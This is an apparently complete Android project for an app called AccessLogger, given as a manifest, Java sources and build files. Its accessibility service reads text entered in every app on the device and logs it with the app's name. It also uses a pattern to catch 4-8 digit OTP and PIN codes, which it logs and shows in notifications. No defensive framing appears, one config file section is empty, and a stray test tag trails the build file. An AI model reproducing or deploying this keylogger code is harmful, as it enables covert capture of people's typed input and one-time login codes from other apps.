<manifest xmlns:android="http://schemas.android.com/apk/res/android"

package="com.example.accesslogger">

<uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>

<application
    android:allowBackup="true"
    android:label="AccessLogger"
    android:supportsRtl="true"
    android:theme="@style/Theme.AppCompat.Light.NoActionBar">

    <service
        android:name=".logger.InputLoggerService"
        android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
        android:exported="true">
        <intent-filter>
            <action android:name="android.accessibilityservice.AccessibilityService" />
        </intent-filter>
        <meta-data
            android:name="android.accessibilityservice"
            android:resource="@xml/accessibility_config" />
    </service>

</application>

---

2. res/xml/accessibility_config.xml

---

3. InputLoggerService.java

package com.example.accesslogger.logger;

import android.accessibilityservice.AccessibilityService; import android.view.accessibility.AccessibilityEvent; import android.util.Log; import android.app.NotificationChannel; import android.app.NotificationManager; import android.os.Build; import androidx.core.app.NotificationCompat; import android.content.Context;

import java.util.regex.Matcher; import java.util.regex.Pattern;

public class InputLoggerService extends AccessibilityService {

private static final String TAG = "ACCESS_LOG";
private static final String CHANNEL_ID = "otp_channel";
private Pattern otpPattern = Pattern.compile("\\b\\d{4,8}\\b"); // 4-8 digit OTP/PIN

@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
    if (event == null) return;

    String packageName = (event.getPackageName() != null) 
            ? event.getPackageName().toString() 
            : "UnknownApp";

    String text = (event.getText() != null) ? event.getText().toString() : "";

    // OTP/PIN শনাক্তকরণ
    Matcher matcher = otpPattern.matcher(text);
    if (matcher.find()) {
        String otp = matcher.group();
        Log.i(TAG, "OTP/PIN detected: " + otp + " | App: " + packageName);
        showNotification("OTP Detected", "App: " + packageName + " | Code: " + otp);
    } else if (!text.isEmpty()) {
        Log.i(TAG, "Text Input: " + text + " | App: " + packageName);
    }

    if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_CLICKED) {
        Log.i(TAG, "Button Clicked in App: " + packageName);
    }
}

private void showNotification(String title, String content) {
    NotificationManager manager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);

    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
        NotificationChannel channel = new NotificationChannel(CHANNEL_ID, "OTP Notifications", NotificationManager.IMPORTANCE_HIGH);
        manager.createNotificationChannel(channel);
    }

    NotificationCompat.Builder builder = new NotificationCompat.Builder(this, CHANNEL_ID)
            .setContentTitle(title)
            .setContentText(content)
            .setSmallIcon(android.R.drawable.ic_dialog_info)
            .setAutoCancel(true);

    manager.notify((int) System.currentTimeMillis(), builder.build());
}

@Override
public void onInterrupt() {
    Log.w(TAG, "Service interrupted");
}

}

---

4. MainActivity.java

package com.example.accesslogger;

import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle;

public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } }

---

5. res/layout/activity_main.xml

<TextView
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:text="Accessibility Logger Active"
    android:textSize="18sp"/>

---

6. res/values/strings.xml

AccessLogger

---

7. build.gradle (Module)

plugins { id 'com.android.application' }

android { compileSdkVersion 34

defaultConfig {
    applicationId "com.example.accesslogger"
    minSdkVersion 24
    targetSdkVersion 34
    versionCode 1
    versionName "1.0"
}

buildTypes {
    release {
        minifyEnabled false
        proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
    }
}

}

dependencies { implementation 'androidx.appcompat:appcompat:1.6.1' implementation 'androidx.core:core:1.12.0' }gh-app-spike-test